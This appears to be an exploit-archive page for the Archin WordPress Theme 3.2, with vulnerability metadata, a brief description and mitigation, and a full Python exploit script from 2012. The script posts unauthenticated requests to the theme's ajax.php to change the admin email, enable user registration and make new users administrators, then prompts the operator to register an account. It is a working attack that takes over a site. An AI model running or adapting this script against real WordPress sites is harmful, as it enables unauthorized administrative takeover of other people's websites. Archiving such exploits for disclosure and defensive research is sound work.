header-logo
Suggest Exploit
vendor:
Archin
by:
bwall
7,5
CVSS
HIGH
Unauthenticated Configuration Access
284
CWE
Product Name: Archin
Affected Version From: 3.2
Affected Version To: 3.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wptitans:archin
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu
2012

Archin WordPress Theme Unauthenticated Configuration Access

This exploit allows an attacker to change the configuration of the Archin WordPress Theme without authentication. The attacker can change the admin email, enable user registration, and set the default role to administrator. This allows the attacker to register a new user with administrator privileges.

Mitigation:

Ensure that all WordPress themes are up to date and that all users have strong passwords.
Source

Exploit-DB raw data:

# Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
# Date: Sept 29, 2012
# Exploit Author: bwall (@bwallHatesTwits)
# Vendor Homepage: http://themeforest.net/user/wptitans
# Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
# Version: 3.2
# Tested on: Ubuntu
import httplib, urllib

#target site
site = "10.10.10.5"
#path to ajax.php
url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php"

def ChangeOption(site, url, option_name, option_value):
	params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
	headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
	conn = httplib.HTTPConnection(site)
	conn.request("POST", url, params, headers)
	response = conn.getresponse()
	print response.status, response.reason
	data = response.read()
	print data
	conn.close()
	
ChangeOption(site, url, "admin_email", "fake@ballastsecurity.net")
ChangeOption(site, url, "users_can_register", "1")
ChangeOption(site, url, "default_role", "administrator")
print "Now register a new user, they are an administrator by default!"